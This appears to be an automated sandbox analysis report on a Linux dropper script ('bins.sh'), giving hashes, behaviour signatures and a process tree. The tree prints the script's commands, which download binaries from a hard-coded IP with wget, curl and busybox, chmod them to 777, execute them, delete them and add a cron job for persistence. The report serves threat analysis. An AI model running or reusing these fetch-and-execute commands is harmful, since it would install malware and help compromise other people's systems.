Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04-11-2024 20:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    18c8a9d32ba1e84855d6f45dc1809684

  • SHA1

    10acde0ea2f8624ea35e19019dd2e141a7427943

  • SHA256

    a7ed1eb5952b365460201c73b32d87295f8d2b0faf69864665431fe40e4f98de

  • SHA512

    7508da5702a2e6c3bfb4f3a54995a22993bc56a91744323840f0a717aeae59518f735e6a46577537aa6bf7cfe359a54e7572f1e5cfd15e7949e4aa7c3bf13e45

  • SSDEEP

    192:S8iqwUP2ksXooyFRfrM4qFlUFP+iqGooyFRxM4qFlVX:S8iqwUuksqNrM4qFlUF2iqj/M4qFlVX

Malware Config

Signatures

  • Contacts a large (2134) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1503
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1504
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:1505
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:1510
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:1511
        • /bin/chmod
          chmod 777 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • File and Directory Permissions Modification
          PID:1512
        • /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          ./3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Executes dropped EXE
          PID:1513
        • /bin/rm
          rm 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
            PID:1515
          • /usr/bin/wget
            wget http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Writes file to tmp directory
            PID:1516
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Writes file to tmp directory
            PID:1517
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Writes file to tmp directory
            PID:1518
          • /bin/chmod
            chmod 777 q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • File and Directory Permissions Modification
            PID:1519
          • /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            ./q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Executes dropped EXE
            PID:1520
          • /bin/rm
            rm q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
              PID:1522
            • /usr/bin/wget
              wget http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
              2⤵
              • Writes file to tmp directory
              PID:1523
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
              2⤵
              • Writes file to tmp directory
              PID:1524
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
              2⤵
              • Writes file to tmp directory
              PID:1525
            • /bin/chmod
              chmod 777 GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
              2⤵
              • File and Directory Permissions Modification
              PID:1526
            • /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
              ./GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
              2⤵
              • Executes dropped EXE
              PID:1527
            • /bin/rm
              rm GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
              2⤵
                PID:1529
              • /usr/bin/wget
                wget http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                2⤵
                • Writes file to tmp directory
                PID:1530
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                2⤵
                • Writes file to tmp directory
                PID:1531
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                2⤵
                • Writes file to tmp directory
                PID:1532
              • /bin/chmod
                chmod 777 E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                2⤵
                • File and Directory Permissions Modification
                PID:1533
              • /tmp/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                ./E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                2⤵
                • Executes dropped EXE
                PID:1534
              • /bin/rm
                rm E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                2⤵
                  PID:1536
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                  2⤵
                  • Writes file to tmp directory
                  PID:1537
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                  2⤵
                  • Writes file to tmp directory
                  PID:1538
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                  2⤵
                  • Writes file to tmp directory
                  PID:1539
                • /bin/chmod
                  chmod 777 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1540
                • /tmp/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                  ./8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1541
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1543
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1544
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1545
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1546
                      • /bin/rm
                        rm 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                        2⤵
                          PID:1548
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/sEldxbvcSqel9s3Xzt0PfeFBuTKDGwbQvv
                          2⤵
                            PID:1551

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc

                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                        • /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re

                          Filesize

                          111KB

                          MD5

                          701e7a55a4f3650f5feee92a9860e5fc

                          SHA1

                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                          SHA256

                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                          SHA512

                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                        • /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /var/spool/cron/crontabs/tmp.9d3aQQ

                          Filesize

                          210B

                          MD5

                          7f624756c63c4d36095b9ae0da2d769f

                          SHA1

                          536048f9ba6892b7c3a205c2f023fe1c4518704c

                          SHA256

                          4e798297a081c66cae5a542b9479040a6ba6f6057a52b6dfde11d84fc60fb5af

                          SHA512

                          23d7d34ad50859a1e972535d7a7d7931673964219471bf38d67f5fff2fd94bc8842545f820bad93902d9a65014231c6f1d6824a99f1abc478c4aa338ce97d6c1